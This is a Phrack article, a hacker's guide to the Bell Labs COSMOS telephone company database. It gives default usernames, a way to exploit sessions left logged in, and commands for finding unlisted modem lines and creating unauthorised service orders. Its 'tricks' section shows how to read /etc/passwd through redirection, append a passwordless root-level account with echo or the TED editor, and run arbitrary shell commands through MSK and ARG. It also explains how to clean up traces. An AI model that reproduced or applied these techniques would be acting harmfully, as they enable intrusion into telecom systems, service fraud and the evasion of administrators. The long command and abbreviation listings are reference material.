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==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #6 of 10
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BY
ERIK BLOODAXE
PRELUDE
In the past, many files have been written about COSMOS. I
have always been rather disappointed in their quality and in
their presentation, so I have taken on the responsibility of
doing one myself. This should sum up COSMOS for everyone who
reads it. It contains formats for very useful commands, an
entire transaction list, COSMOS "tricks", and a list of all COSMOS
abbreviations and their formats.
=============================================================================
INTRODUCTION
Bell Labs COmputer System for Mainframe OperationS (COSMOS)
is basically just a database for maintaining records of
equipment and other line information and generating reports
on that information. The system is usually set up on a DEC
PDP 11/45 or 11/70.
The main responsibilities of the COSMOS system are:
Maintaining records
Issuing reports
Processing service and work orders
Assigning telephone numbers
Load balancing for switching computers
Output of ESS recent change information
LOGGING ON
When connecting to COSMOS the system will respond with:
;Login: or LOGIN:
at which point you enter a username. The system will then
prompt:
PASSWORD:
at which point you enter the password for that username.
Finally, the system will prompt:
WC?
which asks you to enter the wire center for the exchange you
will be using in your work. After successfully completing
the login sequence you will be given the system prompt which
will be the two letter id of the wire center you entered and a
percent sign: "WC% "
To log off at this or at any point you can type control-y.
One of the major flaws in COSMOS security is that unless a
control-y is received the terminal is not logged out, even if
the user disconnects. Many times when you connect to COSMOS,
you will be dropped right into the "WC% " prompt. This even
happens on major BOC packet networks quite often. If you are
lucky enough to receive a 'WC#' prompt you have access to the
COSNIX shell, and can issue various unix-like commands, like
ls, cd, cat, et cetera.
COSMOS usernames are usually issued as two letters corresponding to
whatever center will be using that account, and two numbers.
EX: LA01
Using the above example "LA01" there will most probably be numerous
"LA" accounts, possibly "LA01" through "LA15" or higher. This is true
for most COSMOS usernames. More often than not, all accounts used by the
same center will have the same password as well. Some common usernames
and their owners are:
ROOT System Manager
SYS System Manager
ML Loop Assignment
LA Loop Assignment
DN Main Distributing Frame
IN Repair Service
RS Repair Service
CE LNAC
LK Account to execute INQuiries only
JA Mizar
WLI Work Load Indicator
Usernames may vary from BOC to BOC, but these are fairly standard.
=============================================================================
COSMOS TRANSACTION COMMANDS
COSMOS commands are three letter acronyms. I will explain in
depth the commands I have found most useful, and then list
the remainder. Remember, do not attempt to learn the formats for COSMOS
transactions online. You will probably not figure out correct inputs, and
will most likely cause problems for the system manager and yourself.
Commands are entered in a specific ways. The command desired is
entered at the WC% prompt. A second string of data is entered at
the next line which designates the type of transaction desired.
This line is prefixed with on of the following four letters:
H - Header Line
I - In Line
O - Out Line
R - Remark Line
The most commonly used line is the H line. It is a required input in
almost all COSMOS transactions. From the second line on, COSMOS will
prompt with an underscore "_" as the system prompt, to let the user
know that it is waiting for input. When all needed data has been entered,
the command is executed by typing a "." at the beginning of a new line.
If you wish to process a command, but stay in command level in order to
process further commands after the one you are currently entering has
finished, a ";" can be entered at the beginning of a new line.
To cancel the transaction you are entering, a "Q" should be entered at
the beginning of a new line. To interrupt output, the break character
is "^C". When entering criteria, you may enter all like data (all H-line, all
I-line, etc...) on one line using a "/" between input prefixes:
EX: H TN 222-0000,222-9999/RMKT SWBT?/US 1FB
is the same as entering:
H TN 222-0000,222-9999
_H RMKT SWBT?
_H US 1FB
One of the most commonly used commands is INQ (Complete
Circuit Inquiry). There is also a short form of INQ called
ISH. This command requires only the use of H lines. Multiple H lines
can be entered to narrow a search or to print multiple reports.
Valid H line facilities used are:
BL Bridge Lifter
CON Concentrator
CP Cable Pair
CKID Circuit ID
MR Message Register
OE Office Equipment Number
PL Private Line Circuit Number
TK Trunk Cable and Pair Number
TN Telephone Number
TP Tie Pair
XN "X" Number
TRE Transmission Equipment
TER Terminal Number
GP Group Number
ORD Work Order
EX: To print information on telephone number 222-2222
WC% INQ
H TN 222-2222
_.
EX: To print information on cable pair 11-1111
WC% INQ
H CP 11-1111
_.
INQ will print a full report whatever circuit you examine, while ISH
will print a shorter, easier to read report. Below is an actual ISH
done on a Telenet node.
CA% ISH
H TN 225-8004
_.
TN 225-8004
ST AU DATE 06-03-83 HT GP 0-0081 BTN 225-8004 TYPE X
OE 006-012-200
ST WK DATE 03-04-86 CS 1FBH US 1BH FEA TNNL
LCC TF2
LOC WF12003
TER 0-0081-0001
ST WK
RMKG GTE.TELENET
CP 95-0701
ST WK DATE 01-24-86 RZ 13
LOC WF12009
TP 6105-0910
ST WK DATE 01-24-86
LOC F12003
LOC F42001
FROM FAC OE 006-012-200 TO FAC TP 6206-0107
TP 6206-0107
ST WK DATE 01-24-86
LOC F22029
LOC F42002
HUNT SEQUENCE FOR TN 225-8004
TER 0001-0040
- * ISH COMPLETED 02-29-99 12:00
CA%
When you pull an inquiry on a number that you are interested in, you will
be given its cable pair, its order number, any numbers that connect to
it through a hunt sequence, and you will see any remarks entered about the
number. This information can prove to be very valuable. For instance:
You suspect that a company has a modem online, yet you don't want to waste
time sequentially dialing thousands of numbers. You can simply enter
an ISH on the number to get its cable pair, then begin pulling ISH
reports on cable pairs close to the main one. Then you need only dial
twenty or so numbers that are in the same area as the main number, and
you will find the computer.
Another extremely valuable command is SIR (Sorting Inquiry by Range).
With SIR, you can print the circuit information on all lines that match
specified criteria within a specified range of numbers. This command
requires only H line input, but numerous lines may be entered in order to
narrow down the search. You may also use the wildcard character ("?") to
encompass a larger range when doing a SIR. There are many applications
for SIR, but I will only show examples on a few I have found to be
most useful.
Many times entries have special remarks entered about the circuit. These
are usually entered as RMKT (Remarks on Telephone Number), but they may be
entered as RMKO (Remarks on Office Equipment) or RMKP (Remarks on Cable
Pair), depending upon what the person entering felt like typing.
Most of the time the remarks really don't correspond like they should.
Telephone companies are pretty thorough about remarking on a line that
they own and they will usually use the RMKT prefix.
EX: To find all telephone company (Southwestern Bell) lines in prefix 222
WC% SIR
H TN 222-0000,222-9999
_H RMKT SWBT?
_.
The "?" after SWBT acts as a wildcard. Typing SWB? would perform the same
search.
You may also want to search by STT (Telephone number status). Some types of
STT are:
AU Auxiliary
NP Non-published
OF Official (telco owned)
TS Test
Another way to distinguish types of number is by CS (Customer Class of
Service). CS values tend to vary from BOC to BOC, but business lines
will usually look like "1FB", or at least contain a "B". Residences
will usually look like "1FR." Sometimes telco lines are listed as "1OF",
but may also be entered as "1FB". On lines in a hunt group, the CS will
be appended with the letter "H", as "1FBH".
Let's say a company owns a block on an exchange (333) running from 1000 to
3500. You want to find all possible computer numbers in that area. Chances
are good that they are not listed.
EX:
WC% SIR
H TN 333-1000,333-3500
_H STT NP
_H CS 1FB
_.
The above would list all non-published business numbers from 333-1000
to 333-3500.
To find all numbers that are translated 800 numbers in the same prefix range
as above, you can do the following:
EX:
WC% SIR
H TN 333-1000,333-3500
_H PL ?800?
_.
This will prints reports on all private lines registered as 800 numbers.
There is also a shorter version of SIR, LTN (List Telephone Numbers), and a
more detailed version, GFR (General Facility Report), but I have found
SIR to be the better of the three to use for my purposes.
In order to change line attributes, or to create new lines you will need
to use two commands SOE (Service Order Entry), and RCP (Recent Change
Packager). These two commands are pretty detailed in what they can do,
so I will just cover a few of their options.
SOE will allow you to assign a new circuit, and specify the desired telephone
number, custom calling features, billing telephone number, etc.
SOE requires both "H" and "I" lines of input. The best way to enter
a new service order is to have COSMOS pick your new telephone number and
assign the needed office equipment number. If you want to pick your own
telephone number, the number you pick must have a status (STO) of SP, LI, RS,
or PD (with a disconnect date before the due date on your new service order).
This is so that you do not try to assign a number that is currently working
to your new service order. You can check this by doing an ISH on all the
variations of numbers you desire, and checking the STO. You can also get a
list of available numbers in a given prefix using the NAI command. You
should also do a SIR of recent entries, to try to find the proper format of
order numbers, so that you do not reuse one, or make one up that is formatted
incorrectly. Another method to make sure that you have the correct formatting
of order numbers is to call the phone company and request the installation of
a line in the area you are working in. They will tell you your service order
number for reference. Later, you can merely cancel the order. You will also
have to find a valid cable pair, so do an ISH on whatever number written in
your junction box that is not working, and then make sure there is no pending
connect orders entered on it.
To enter a service order for a new connection, having COSMOS pick an available
telephone number and assign proper office equipment numbers, you would do
the following:
EX:
WC% SOE
H ORD SO123456/OT NC/DD DD-MM-YY (Use valid Day, Month, Year for Due Date)
_I TN ?/US 1FR/FEA TNNL/OE ?/CP XX-YYYY (Use valid cable pair for XX-YYYY)
_.
You would now need to enter RCP and make a correctly formatted recent change
report for the order you entered so RCMAC can pick up the order and directly
enter it into the switch. What RCP does is take your order and change it into
actual switch programming, using templates that are stored in directories
corresponding to what type of switching equipment is used for that WC.
(EX: ess5a)
EX: To create a recent change package for the order entered above
WC% RCP
H ORD SO123455
_.
Using SOE you can specify custom calling features, you can specify billing
telephone numbers, you can establish service as coin, and several other
options by adding "I" line information corresponding to that particular
option.
_I CCF XXXXXX (XXXXXX is valid custom calling features)
_I BTN NNX-XXXX (NNX-XXXX is valid billing TN)
_I TT C
To get a list of spare (available) telephone numbers in a given prefix, you
can use the NAI (Telephone Number Assignment Inquiry) command. You only need
enter H line criteria. In addition to searching by prefix (NNX), you can
search by switch type (TYP), or rate zone (RTZ).
EX: To select one spare telephone number in 555 and make it reserved status
WC% NAI
H TT X/NNX 555/STT RS
_.
You may also have NAI print out several available numbers, however, you cannot
change the status unless you are printing one listing.
EX:
WC% NAI
H TT X/NNX 555/LC XX (Where XX is a number between 1 and 25)
_.
To get a listing of all prefixes that exist in the Wire Center you are
logged in under, you can use the command DDS (Display DS Table). This
command will list the ranges that exist for a given input.
To list all telephone numbers in a given WC:
WC% DDS
H TN ?
_.
To list all cable pair ranges:
WC% DDS
H CP ?
_.
To change from one Wire Center to another, you use the command WCC (Wire
Center Change). This is a very straight forward command.
EX:
WC% WCC NW
NW%
To allow for redirection in your COSMOS commands, you must execute the
DIO command. This command is rather important for manipulating commands
to work for you.
EX:
WC% DIO
To see what transactions other people logged in are running, you can use the
command TSNAP (on certain generics)
EX:
WC% TSNAP
There are about one hundred other COSMOS commands that are all defined at the
end of this file. I cannot go into detail on all of them but I will list them
and their meanings.
=============================================================================
COSMOS TRICKS
Even if you don't have full COSNIX access, you can basically execute
any command or read any file that exists in the system. Using the INQ
(or ISH) command and redirection, you can open and display any file.
EX: To display the password file
WC% INQ </ETC/PASSWD
This will display the file, however, since this is a flaw in the command,
it thinks the file is to be input for INQ, and each line will be preceded
with "ILLEGAL LINE TYPE", but this can be ignored.
Other files to look at:
/USR/FACS/WCFILE List of all Wire Centers
/ETC/MATRIX.P Permission Matrix (Who can execute what commands)
You may or may not want to try the following. There is a high probability
that you will be noticed on the system. If your local COSMOS ports are
usually left logged in, don't bother doing this. However, if your COSMOS
ports are always logged out, and you almost never get in, and you happen
to stumble upon one left logged for the first time in months, it might be
worth a try.
There are a few ways to make a new account on COSMOS; however, you need to
be able to write to the password file. Some systems allow this, but most do
not.
The easiest way involves using the echo command and redirection.
EX:
WC% echo "EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so" >>/etc/passwd
This will add user EB01 to the end of the password file.
If you do not have access to echo you can do the same thing using the TED
command (Text Editor).
WC% TED >>/etc/passwd
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y on NO) Y
1d
a
EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so
^C
1p
w
q
After executing the above, you will need to clean up the /etc/passwd
file to remove the Service Order information put in there by TED. You will
also need to remove the service order you created from the /usr/so/WC
directory.
If you cannot find a way to get shell access, you can still execute
any COSNIX command you desire again using TED, MSK (Output a Transaction
Mask), and ARG (Assemble and Run a Given Master File).
EX:
WC% TED
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y or NO) Y
12
1d
a
$*
run!
^c
w
q
WC% MSK >/usr/so/newcmd
SO123456
WC% ARG
newcmd ls /etc
To execute the command, you need to do ARG, then the name of the
file (which I called newcmd), then the COSNIX command you wish to
execute.
If you can use echo this can be done much easier.
EX:
WC% echo '$*' >/usr/so/newcmd
WC% echo 'run!' >>/usr/so/newcmd
Then you can run your command normally with ARG.
WC% ARG
newcmd cd ..
IF you do not have access to echo, create a newcmd file and you can use it
that way.
WC% ARG
newcmd echo EB01::0::y:1:/tmp:/usr/cosmos:/usr/so:/usr/preop >>/etc/passwd
=============================================================================
COSMOS COMMAND LISTING
ACE Establish an Assignment Change Ticket
AIT ANALIT Initialization of Tables
ARG Assemble and Run a Given Master File
AUD Assignment List Audit
BAI Bridge Lifter Assignment Inquiry
BYF Display the Bypass File
BYP Change the Contents of the Bypass File
CAY Create an Assembly
CCA Change Customer Attributes
CCT Initialize and Update the Contractor-Transducer File
CDA Change Distribution Attributes
CDD Change Due Date
CDR Cut Thru DIP Report
CFA Change Facility Attributes
CFP Print the Class of Service/Features for an Electromechanical Entity
CFU Change Facility Usage
CIE Company Establish Company Initiated Change
CLI COSMOS Processed ALIT Reports
CPI COSMOS-PREMIS Interface
CPM COSMOS Performance Monitor
CTC Complete a Cable Transfer or Complete a Cable Throw
CTE Cable Throw Order Establishment
CTF Display the Contacter-Transducer File
CTL Cable Throw with Line Equipment Assignment
CTM Cable Throw Modification
CTP Print Cable Transfer Frame Work
CTR Cable Throw Replacement
CTS Cable Throw Summary
CTW Withdraw a Cable Transfer or a Cable Throw
CUP Common Update Processor
CXC Complex Service Order Input Checker
CXM Centrex Table Management
CXT Complex Order Inquiry for NAC Review
DAY Delete an Assembly
DBL Data Base Load
DCN List Disconnected and Changed Numbers
DDS Display the DS Table
DIR Standard DIP Report
DPN DIP Purge Number
DPR DIP Report and Removal
DQR Design Quota System Report
DQS Design Quota System
DTE Print Current Date
EDZ Facility Emergency Assignment List
ELA Entity Load Analysis
ESP Print Entire Summary Table
FDY Set Fiscal Day for LAC
FLR Frame Layout Report
FOR Frame Order Report
FOS Frame Operations Summary
FTA Frame Transfer Analysis
FTC Frame Transfer Completion
FTE Frame Transfer Establishment
FTL Frame Transfer LETs
FTR Frame Transfer Reprint
FTW Frame Transfer Withdrawal
FWM Frame Work Management
GFR General Facility Report
GLA Generate Lists for Assignment
HBS Hunt Group Blocks of Spares
HGR Hunt Group Report
HGS Hunt Group Summary
HIS Hunting ISH
IJR Input a Jeopardy Reason
IMU Input Measured CCS Usage Data
INQ Complete Circuit Inquiry
ISF Inquire on a Single Facility
ISH Complete Circuit Inquiry Short
JAM Jumper Activity Management
JPH Jumper Placement History
KPR Killer Pair Report
KSM Create a Transaction Mask
LAI Line Equipment Assignment Inquiry
LBP Load Balance Parameters
LCD LIST Cable Summary, LIT Demand Test
LCP List Cable Pairs
LEE NAC Related Line Equipment Transfer Order Establishment
LEW Line Equipment Transfer Withdrawal
LFC Load Factor Calculation
LFR Line Failure Report
LGN List Hunt Groups
LIN Transmit ALIT Data to COSMOS
LOE List Originating Line Equipment
LSE Line and Station Transfer Order Establishment
LSW Line and Station transfer Withdrawal
LTN List Telephone Numbers
MAL Manual Assignment List
MAP Manual Assignment Parameters
MAQ Manual Assignment File Inquiry
MAY Modify an Assembly
MCE Establish a Maintenance Change Ticket
MCH Manually Change Hunt
MCL Maintenance Change List
MCR Establish a Maintenance Change Repair
MCW Maintenance Change Ticket Withdrawal
MDC Manually Disconnect a Working Circuit
MEC Manually Establish a Circuit
MMC Manually Modify a Circuit
MOC MOE Order Completion
MOE Mass OE Transfers
MOF Mass OE Frame Transfer Listings
MOW MOE Order Withdrawal
MPK Modify Work Package
MSK Output a Transaction Mask
MTR Manually Test a Response
NAI Telephone Number Assignment Inquiry
NOL NAC Service Order Listing
NSD Number Summary Display
OIJ Orders in Jeopardy
OPN Open-of-Day Report
OPU Outside Plant Cable Usage
PAK Work Packages
PEP Position Establishment for Parties
PFR Party Line Fill Report
PRP Periodic Purging of Remarks
QEX Question an Execution
QUE Queue
RAL Relay Assignment List
RAP Relay Assignment Parameters
RAS Release Sequence Number Lists and Related TN/OE
RBS Print TBS Relays Assignment Record
RCP Recent Change Packager
RCR Recent Change Report
RCS Recent Change Summary
RED Recent Change Message Text Editor
REL Release Non-Intercepted Numbers by Release Date
REM Remove Frame Locations
RET Retermination of Frame Locations
REX Reexecute a Service Order
RJR Remove Jeopardy Reason Codes
RMP Recent Change Punctuation Table
RNA Release Telephone Numbers for Assignment
ROE Reservation Order Establishment
ROI Reservation Order Inquiry
ROW Reservation Order Withdrawal
RTH Report Transaction to Count Spare and DIPed Line Equipment
RTS Relay and Telephone Number Status Report
RUP Request Unsolicited Processing
SAI Summary of Action Items
SCA Service Order Completion-Automatic
SCF Simple Completion for MDF
SCI Spare Cable Pair Inquiry
SCM Standard Completion by MDF
SCP Service Order Completion by LAC
SCR Standard Completion by RCMAC
SEL Selecting Lines for an Exchange Class of Service Study
SET Statistics on Equipment and Telephone Numbers
SGH Supply Relays for Groups of 5XB Hunts
SIR Sorting Inquiry by Range
SLC Subscriber Line Counts for Custom Calling Features
SOC Service Order Cancel
SOE Service Order Establishment
SOF Service Order Fix
SOH Service Order Withheld
SOI Service Order Assignment Inquiry
SOL Service Order Listing
SOM Modify a Pending Service Order
SOW Service Order Withdrawal
STN Summarize Telephone Numbers
SVL Service Observing Loops
TAI Tie Pair Assignment Inquiry
TAT Test Alignment of Frame Terminal
TED Text Editor
TET Display or Change Band Filter File, Retention Factor and Print Threshold
TFC Transfer Frame Changes
TIG Dial Transfer Input Generator
TLC Translate LANAVAR/CPS
TNS Telephone Number Swap
TOC Transfer Order Completion
TOE Transfer Order Establishment
TOF Mass OE Transfer Order Frame Listings
TOI Dial Transfer Order Inquiry
TOL Transfer Order Lists
TOO Transfer Order Omissions
TOW Transfer Order Withdrawal
TPU Tie Pair Usage Report
TRC Transfer Order Recent Change Report
TRI Transmission Equipment Assignment Inquiry
TRW Total Reservation Order Withdrawal
TSL Line Equipment Summary Report
TSN Traffic Statistics on Telephone Numbers
TSW Total Service Order Withdrawal
TTY Get TTY Name
TXC Text Checker
TXM Transfer Centrex Management
UDP Update DIP Parameters
UES Update the Entity Summary Table
UFO Unprinted Frame Orders
UPC Update CCS vs. Class of Service Table
USL List USOC (US) File Data
UTC Update Table for Concentrator Redesign
WCC Change Wire Center
WCT Worksheet for Cable Throw Orders
WFL Working Frame Location
WOI Work Order Inquiry
WOL Work Order Listing
WPT Work Package Table
WSL Work Status List
WUL Work Unit Report for Subscriber Line Testing and Installation Assignment
=============================================================================
COSMOS ABBREVIATIONS AND FORMATS
The following will be given as follows:
Prefix and Meaning
Format
Code Value and Meaning
AC Assembly category
AC XXXX
PERM=Permanent Facility Assemblies
TEMP=Temporary Facility Assemblies
AC Assembly Code
AC XXX
XXX=1-999
ADSR Administration of Designed Services Review
ADSR X
Y=Yes, TIRKS Circuit
N=No, COSMOS Circuit
AGM Normal Aging Months
AGM XX
XX=Number of Months
AGT Accelerated Aging Type
AGT XXX
BUS=Business
RES=Residential
AI Assigner's Initials
AI XXX
XXX=3 Alphanumeric Characters
AO Allocation Order
AO XX
XX=Two Numeric Characters
AR Advance Relay
AR XYY-ZZZ
X=Marker Group
YY=Number Group from Frame
ZZZ=Relay Number
ATN Assigner's Telephone Number
ATN XXX-XXXX
XXX-XXXX=Assigners TN
BL Bridge Lifter
BL XX...XX
XX...XX=Maximum of 17 Alphanumeric Characters
BLS Bridge Lifter Status
BLS X
Y=Yes
N=No
BND Band Number
BND X
X=0-3
BTN Billing Telephone Number
BTN XXX-XXXX
XXX-XXXX=Billing Telephone Number
CA Cable Number
CA XX...XX
XX...XX=Maximum of 10 Alphanumeric Characters
CAT Centrex Access Treatment
CAT XX
XX=Maximum of 2 Numeric Characters
CC Call Count
CC XX
XX=Maximum of 2 Numeric Characters
CCF Custom Calling Features
CCF XXXXXX
XXXXXX=3 to 6 Alphanumeric Characters
CCS Hundred Call Seconds
CCS XXXX
XXXX=3 or 4 Numeric Characters
CEU CCS Estimated Usage
CEU XXXX
XXXX=3 or 4 Numeric Characters
CG Control Group Number
CG X
X=0-9
CKID Circuit Identification
CKID XX...XX
XX..XX=Maximum of 61 Alphanumeric Characters
CKL Circuit Location
CKL XXXX
XXXX=Maximum of 4 Alphanumeric Characters
CLC Common Language Code for an Entity
CLC XX...XX
XX...XX=Maximum of 11 Alphanumeric Characters
CLCI Common Language Circuit Identification
CLCI XX...XX
XX...XX=Maximum of 61 Alphanumeric Characters
CLEI Common Language Equipment Identifier
CLEI XX...XX
XX...XX=Maximum of 10 Alphanumeric Characters
CLF Creating DIPs Upper Bound Load Factor
CLF XX
XX=1-10
CLL Creating DIPs Lower Bound Load Factor
CLF X
X=1-9
CLS CLCI in Serial Number Format
CLS XX...XX
XX..XX=Maximum of 61 Alphanumeric Characters
CLT CLCI Telephone Number Format
CLT XX...XX
XX...XX=Maximum of 61 Alphanumeric Characters
CMF Capacity Main Station Fill
CMF XXXXXX
XXXXXX=Maximum of 6 Numeric Characters
CMU CCS Measured Usage
CMU XXXX
XXXX=3 or 4 Numeric Characters
COM Complement Size
COM XXXX
XXXX=1-9999
CON Concentrator
CON XX-YY
XX=Maximum of 2 Alphanumeric Characters
YY=Maximum of 2 Numeric Characters
CP Cable and Pair Number
CP XX...XX-YZZZ
XX...XX=Cable ID, Maximum of 10 Alphanumeric Characters
YZZZ=Cable Pair ID
Y=Alphanumeric
ZZZ=Numeric
CPU CCS Capacity Usage
CPU XXXX
XXXX=3 or 4 Numeric Characters
CRG CREG Tag
CRG XXX
XXX=YES or NO
CS Customer Class of Service
CS XXXXXX
XXXXXX=Maximum of 6 Alphanumeric Characters
CTID Circuit Termination Identification
CTID XX...XX
XX...XX=Maximum of 61 Alphanumeric Characters
CTT Cut Through Tag
CTT XXX
XXX=YES or NO
CTX Centrex Group Number
CTX XXXX
XXXX=Maximum of 4 numeric Characters
DC Dial Code
DC X
X=1 Alpha Characters
DD Due Date
DD MM-DD-YY
MM=Month
DD=Day
YY=Year
DID Direct Inward Dialing
DID XXXX
XXXX=Maximum of 4 Numeric Characters
DIP DIP Creation Option
DIP X
Y=Yes
N=No
DNY Denial of Service for Non-payments
DNY X
I=Incoming
O=Outgoing
B=Both
DPA Different Premises Address
DPA XXX
XXX=Maximum of 3 Alphanumeric Characters
DPT Department Name
DPT XXX
XXX=Maximum of 3 Alphanumeric Characters
DST Destination of Order Response
DST XXXX
XXXX=Maximum of 4 Alphanumeric Characters
DT Due Time
DT XX
XX=AM, PM, or 0-9
EC ESS Entity and Control Group Number
EC YZ
Y=Entity Number
Z=Control Group Identifier
ECS Equipment Class of Service
ECS XXXXXX
XXXXXX=Maximum of 6 Alphanumeric Characters
ED Enter Date
ED MM-DD-YY
MM=Month
DD=Day
YY=Year
EN Entity
EN X
X=S, E, 1, 5 or 0
EN Entity Number
EN X
X=0-9
ENT Entity Number
ENT X
X=0-9
EO Error Handling Option
EO XX
CE=Continue Processing and Establish Valid Circuits
CW=Continue Processing and Withdraw Established Circuits
SE=Stop Processing and Establish Valid Circuits
SW=Stop Processing and Withdraw Established Circuits
EQF Equipment Features
EQF WXYZ
W=R (Rotary) or T (Touchtone)
Y=S (Sleeve) X (Range Extension) or N (Non-sleeve or Non-range Extension)
X=E (Essential) or N (Non-essential)
Z=G (Ground Start) or L (Loop Start)
EQV Frame Equivalence
EQV FXX
F=The Letter "F"
XX=Two Alphanumeric Characters
ETC Estimated Trunk CCS Value
ETC XXXX
XXXX=Maximum of 4 Alphanumeric Characters
EXD ECS Crossloading Option
EXD XXX
XXX=YES or NO
FAC Type of Segment List Being Audited
FAC XX
TN=Telephone Number
OE=Line Equipment
FAC Circuit Confiruration
FAC XXX or
FAC TN-NNX or
FAC CP-XX...X or
FAC SE-YY...Y or
FAC PL-ZZ...Z
XXX=Any Facility Prefix
NNX=Three Alphanumeric Characters
XX...XX=Maximum of 10 Alphanumeric Characters
YY...YY=Maximum of 52 Alphanumeric Characters
ZZ...ZZ=Maximum of 61 Alphanumeric Characters
FC From Cable
FC XX...XX
XX...XX=Maximum of 10 Alphanumeric Characters
FDD Frame Due Date
FDD MM-DD-YY
MM=Month
DD=Day
YY=Year
FEA Customer Feature
FEA XXXX
(Same as EQF)
FILT Filter
FILT XXX
XXX=Y, YES, N, or NO
FR Frame Identification
FR FXX
F=The letter "F"
XX=Two Alphanumeric Characters
FT Frame Time
FT XX
XX=01-24
FW MDF Output Suppressed
FW X
Y=Frame Work Yes
N=Frame Work No
GP MLHG Group Number
GP Y-XXXX
Y=Alphanumeric Control Group
XXXX=Numeric Group Number
GSO Ground Start Option
GSO X
1=Assigned to any OE in the Entity
2=Assigned to Even Levels
3=Only Assigned to OE Specified as Ground Start
HC Hunt Count
HC XXXX
XXXX=Maximum of 4 Numeric Characters
HF Hunt-from Telephone Number
HF XXX-XXXX
XXX-XXXX=Telephone Number
HLC Highest Lead Factor Group Count
HLC XXXX
XXXX=1-9999
HR Held Order Reason Code
HR XX
CE=Equipment Shortage
CF=Lack of Facility
CL=Plant Load
CO=General Company Reasons
C1-C5-Additional Company Reasons
SA=Subscriber Access
SL=Subscriber Requested Later Date
SO=General Subscriber Reasons
SR=Subscriber Not Ready
S1-S5=Additional General Subscriber Reasons
HRS Hours Prefix
HRS XX
XX=01-24
HT Hunt-to Telephone Number
HT XXX-XXXX
XXX-XXXX=Telephone Number
HTG Hunt-to Group Number
HTG Y-XXXX
Y=Alphanumeric Control Group
XXXX=Numeric Group Number
HTX Hunt-to X Number
HTX XXX-YYXX of
HTX XXX-YXX
Y=Alphanumeric
X=Numeric
INIT Allocation Table Initalization
INIT
(No Data Entry)
ITM Cable Pair Item Number
ITM XX
XX=Two Numeric Characters
JL Jumper Length
JL XXX
XXX=Maximum of 3 Numeric Characters
JR Jeopardy Reason
JR XX
A1=Assignment Error on CP
A2=Assignment Error on OE
A3=Assignment Error on TN
A4-A9=Other Assignment Error
C1=No SSWO for Circuit Design Group
C2-C9=Local Code for Circuit Design Group
E1-E9=No ESS Translations
IB=No Installation Go-ahead for Business
IC=No Installation Go-ahead for Coin
ID=No Installation Go-ahead for Data
IR=No Installation Go-ahead for Residence
IS-No Installation Go-ahead for Special
I1-I4=Local Codes foir No Installation Go-ahead
RB=Business RSB
RC=Coin RSB
RD=Data RSB
RR=Residence RSB
RS=Special RSB
R1-R4=Local Use for RSB
LC Output Line Count
LC XXXX
XXXX=0-9999
LC Line Count
LC XXX
XXX=0-999
LC Pending Service Order Count
LC
(No Data Entry)
LCC Line Class Code
LCC XXX
XXX Maximum of 3 Alphanumeric Characters
LD Loading Division
LD XX
XX=Two Numeric Characters
LDN Listed Directory Number
LDN XXX-XXXX
XXX-XXXX=Telephone Number
LF Load Factor
LF XX
XX=1-10
LIM Less Than the Specified Number of Pairs
LIM XX
XX=0-50
LIM High Limit on Number of Specified Status Pairs in a Complement
LIM XX
XX=0-50
LIM Low Limit on Number of Spare Line Equipment in Vertical Files
LIM XX
LIM=1-10
LLC Low Load Group Count
LLC XXXX
XXXX=0-9999
LOC Location
LOC FXXYYY
F=The Letter "F"
XX=Alphanumeric
YYY=001-999
LP Loop Range
LP XXX;XXX
XXX;XXX=Six Numeric Characters
LS List New Pending Cable Transfers
LS XXX
XXX=NEW
LTI Loop Termination Identifier
LTI XXX
XXX=Three Alphanumeric Characters
MASK Office Equipment Mask
MASK OE ID
ID=XXX-XXX-XXX =1ESS
ID=XXX-XXXX =2ESS
ID=XXX-XXXX =3ESS
ID=XXXX-XXX-XX =5ESS
ID=XXXX-XX-XX =5ESS
ID=XXXX-X-XXXX =RSS
ID=XXXX-XXX-XX =1XB
ID=XXXX-XXXX-XX =1XB
ID=XXX-XX-XX =5XB
ID=XXXX-XXX =SXS
ID=XXX-X-XX-X =DMS-10
ID=XXX-X-XX-XX -DMS-100
X=Alphanumeric
MAT Manual Assistance Tag
MAT XXX
XXX=YES or NO
MAX Maximum Percentage Value of Entity Fill or Maximum CCS Value
MAX XXX
XXX=Maximum of 3 Numeric Characters
MBL Mini-bridge Lifter Tag
MBL XX
Y=MBL Working on CP
N=CP Can't Support MBL
EQ=CP has MBL Capabilities
MC Marker Class of Service
MC XX
XX=Two Alphanumeric Characters
MF Recent Change Message Format
MF XXXX
NEW=RX:LINE:messages
OUT=RC:LINE:OUT:messages
CHG=RC:LINE:CHG:messages
SUSP=RC:LINE:CHG:messages of suspended service
MF Jumper Listing for MDF
MF XXX
NEW=Running Jumper Listing
DJ=Dead Jumper Listing
MF Message Format When Completing Transfer Circuits with TOC
MF XXX
ALL=Message is Printed for Every Circuit in Range
ERR=Message Printed Only for Circuits not Completed
MF Message Format for Dial Transfer Number Lists
MF XXX
GVR=Transaction GFR Output Format, One Facility per Line
LVT=Line Verification Test Format
TLC=Two-line Condensed Format
MG Marker Group Number
MG X
X=0-9
MIN Minimum Percentage Value of Entity Fill or Minimum CCS Value
MIN XXX
XXX=Maximum of 3 Numeric Characters
MLP Multi-loop Resistance Zone Threshold
MLP XX
XX=Two Numeric Characters
MOD Module Number
MOD XXX
XXX=Three Numeric Characters
MODE Integrated SLC No. 5ESS Mode
MODE X
1=5 T1 Carrier Channels
2=3 T1 Carrier Channels
MPN Master Work Package Number
MPN XXXX
XXXX=1-9999
MR Message Register
MR XXXXXX
XXXXXX=Maximum of 6 Alphanumeric Characters
MRO Message Register Option
MRO XXX
XXX=YES or NO
MT Master Record Tape Unit Number or Tape Drive to Write
MT X
X=Numeric
MTR Tape Drive to Read
MTR X
X=Numeric
MTW Tape Drive to Write
MTW X
X=Numeric
NAR NAC Assignment Review
NAR XXX
XXX=Maximum of 3 Numeric Characters
NGF Number Group Frame for 5XB
NGF XXX
XXX=Three Numeric Characters
NNX Telephone Exchange Code
NNX XXX
XXX=THree Numeric Characters
NOE Number of OEs to be Assigned
NOE X
X=0 or 1
NPA Area Code and Exchange Number
NPA XXXXXX
XXXXXX=Six Alphanumeric Characters
NRM Normalizing CCS VAlue
NRM XX
XX=0-99
NTN Number of TNs to be Assigned
NTN X
X=0 or 1
OA Line Equipment Assignment Option
OA X
Y=Yes
N=No
OC Order Category
OC XXX
ACT=Assignment Change Ticket
ALL=All OE Load Factors
CPC=Special Service
